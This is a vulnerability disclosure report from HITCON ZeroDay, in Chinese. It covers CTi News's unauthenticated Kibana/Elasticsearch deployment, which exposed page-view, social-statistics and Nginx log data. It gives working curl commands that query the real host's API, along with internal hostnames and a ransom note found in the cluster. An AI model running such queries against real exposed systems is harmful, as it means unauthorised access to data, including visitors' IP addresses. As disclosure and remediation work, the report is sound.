中天新聞 Kibana 監控平台未經授權公開暴露,洩漏 2.3 億筆數據 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00407
  •  發信 Vendor: 中天電視股份有限公司
  • Title: 中天新聞 Kibana 監控平台未經授權公開暴露,洩漏 2.3 億筆數據
  • Introduction: Kibana 監控平台完全未設定認證機制,任何人可直接存取完整的 Elasticsearch 數據

處理狀態

目前狀態

公開
Last Update : 2026/06/06
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/03/24 14:19:18 : 新提交 (由 Marco 更新此狀態)
  • 2026/03/25 15:03:07 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/09 16:51:47 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/09 16:51:47 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/24 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2026/05/29 11:41:11 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/06 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00407
  • 通報者:mlgzackfly (Marco)
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://kibana.ctinews.com/
https://kibana.ctinews.com/api/status
https://kibana.ctinews.com/api/spaces/space
https://kibana.ctinews.com/app/home

敘述

漏洞描述

中天新聞網(ctinews.com)的 Kibana 監控平台部署於子域名 kibana.ctinews.com,未設定任何認證機制(無登入頁面、無 API Token 驗證),任何人均可透過瀏覽器直接存取完整的 Kibana 控制台及 Elasticsearch 數據。

圖片

環境資訊

  • 目標:https://kibana.ctinews.com
  • Kibana 版本:7.17.11
  • Elasticsearch 節點名稱:1452dea0cece
  • UUID:5c745dd4-f794-4091-aa29-fe5515ff5745
  • 狀態:Green

重現漏洞方式

步驟一:存取 Kibana 控制台

直接在瀏覽器開啟:

https://kibana.ctinews.com/

系統自動 302 導向至 /spaces/enter,再導向至 /app/home,直接進入 Kibana 主頁面,無需任何登入。

圖片

步驟二:確認系統狀態與版本

curl -sk "https://kibana.ctinews.com/api/status" -H "kbn-xsrf: true"

回應:

{
  "name": "1452dea0cece",
  "version": { "number": "7.17.11" },
  "status": { "overall": { "state": "green", "nickname": "Looking good" } }
}

步驟三:列舉資料索引

curl -sk "https://kibana.ctinews.com/api/saved_objects/_find?type=index-pattern&per_page=100" -H "kbn-xsrf: true"

發現 3 個索引:

  • page_view_logs_read — 頁面瀏覽紀錄
  • news_social_stats_read — 新聞社群媒體統計
  • ctinews-laravel-logs* — Laravel 應用日誌

步驟四:查詢資料量

# 頁面瀏覽紀錄
curl -sk "https://kibana.ctinews.com/internal/search/ese" \
  -X POST -H "kbn-xsrf: true" -H "Content-Type: application/json" \
  -d '{"params":{"index":"page_view_logs_read","body":{"size":0,"query":{"match_all":{}'

結果:

  • page_view_logs_read150,981,655 筆(1.5 億)
  • news_social_stats_read78,912,810 筆(7,891 萬)
  • 合計超過 2.3 億筆資料

步驟五:讀取實際資料內容

curl -sk "https://kibana.ctinews.com/internal/search/ese" \
  -X POST -H "kbn-xsrf: true" -H "Content-Type: application/json" \
  -d '{"params":{"index":"page_view_logs_read","body":{"size":3,"query":{"match_all":{}'

回傳完整的頁面瀏覽紀錄,包含:id、type、target_id、view count(desktop/mobile/tablet/app 分別統計)、時間戳記等。

影響

  1. 大規模營運數據洩漏:40 個 Elasticsearch 索引完全暴露,合計超過 2.3 億筆資料,總容量超過 50GB
  2. Nginx Access Logs 洩漏(102 萬筆):包含訪問者真實 IP 位址、User-Agent、完整 HTTP 請求路徑、Referrer,可用於追蹤使用者行為
  3. 內部架構洩漏:Nginx Error Logs(31.9 萬筆)洩漏 Docker Container ID(hostname: "25c37c934f43")、FastCGI 內部端口(fastcgi://127.0.0.1:9000)、完整 API 路徑結構
  4. 歷史入侵痕跡read-me 索引包含勒索訊息("Your DB has been back up. The only way of recovery is you must send 0.01 BTC to bc1q..."),證明此 Elasticsearch 叢集曾被惡意行為者發現並利用
  5. 營業秘密洩漏:每月 1,200-1,700 萬筆頁面瀏覽紀錄和 2,300-3,000 萬筆社群媒體互動數據,屬於媒體公司核心營運指標
  6. 競爭情報風險:完整的新聞流量來源分析(Facebook、Google Search 等)可被競爭對手利用

完整索引清單

索引名稱 資料筆數 大小 說明
page_view_logs_2025_06 6,036,482 579MB 頁面瀏覽紀錄
page_view_logs_2025_07 15,536,415 1.2GB 頁面瀏覽紀錄
page_view_logs_2025_08 17,001,849 1.4GB 頁面瀏覽紀錄
page_view_logs_2025_09 17,428,169 1.4GB 頁面瀏覽紀錄
page_view_logs_2025_10 17,027,585 1.3GB 頁面瀏覽紀錄
page_view_logs_2025_11 17,280,602 1.4GB 頁面瀏覽紀錄
page_view_logs_2025_12 16,716,916 1.3GB 頁面瀏覽紀錄
page_view_logs_2026_01 16,837,056 1.3GB 頁面瀏覽紀錄
page_view_logs_2026_02 14,741,560 1.2GB 頁面瀏覽紀錄
page_view_logs_2026_03 12,377,649 1.1GB 頁面瀏覽紀錄(進行中)
news_social_stats_2026_01 23,612,428 9.8GB 社群互動統計
news_social_stats_2026_02 30,661,469 12.9GB 社群互動統計
news_social_stats_2026_03 24,648,012 11.2GB 社群互動統計(進行中)
ap_nginx_access 1,029,704 208MB Nginx 存取日誌(含 IP)
api_nginx_error 319,051 71.8MB Nginx 錯誤日誌(含內部架構)
read-me 1 4.4KB 勒索軟體入侵痕跡

Nginx Access Log 欄位(洩漏使用者資訊)

{
  "ip": "61.***.***.**2",
  "method": "GET",
  "path": "/rss/xV1OEvzbBz6y90k.xml",
  "status": 200,
  "bytes": 185772,
  "referrer": "http://ctinews.com/rss/...",
  "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..."
}

Nginx Error Log 欄位(洩漏內部架構)

{
  "hostname": "25c37c934f43",
  "upstream": "fastcgi://127.0.0.1:9000",
  "server": "api.ctinews.com",
  "path": "/api/website/v1/home/template"
}

勒索軟體入侵痕跡(read-me 索引)

{
  "message": "Your DB has been back up. The only way of recovery is you must send 0.01 BTC to bc1qaua9cwrp0g2nqg2txn86e7k376v0xm4m0yfcfq..."
}

注意事項

  • 本次測試僅進行讀取驗證,未修改或刪除任何資料
  • 僅查詢少量紀錄以確認可存取性,未批量下載資料
  • 未嘗試寫入或修改任何索引

修補建議

1. 立即啟用 Elasticsearch/Kibana 認證:啟用 X-Pack Security 或 Open Distro Security 插件,設定使用者認證
2. 限制網路存取:將 kibana.ctinews.com 從公開 DNS 移除,改用 VPN 或 IP 白名單
3. 檢查歷史入侵:調查 read-me 索引中的勒索訊息,確認是否有資料遺失或外洩
4. 設定角色權限:使用 RBAC 限制不同使用者對索引的存取權限
5. 監控異常存取:啟用 Elasticsearch Audit Log,監控未授權的資料查詢
6. 分離敏感資料:將 Nginx access logs(含 IP)與營運數據分開存儲,並設定不同的存取權限

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;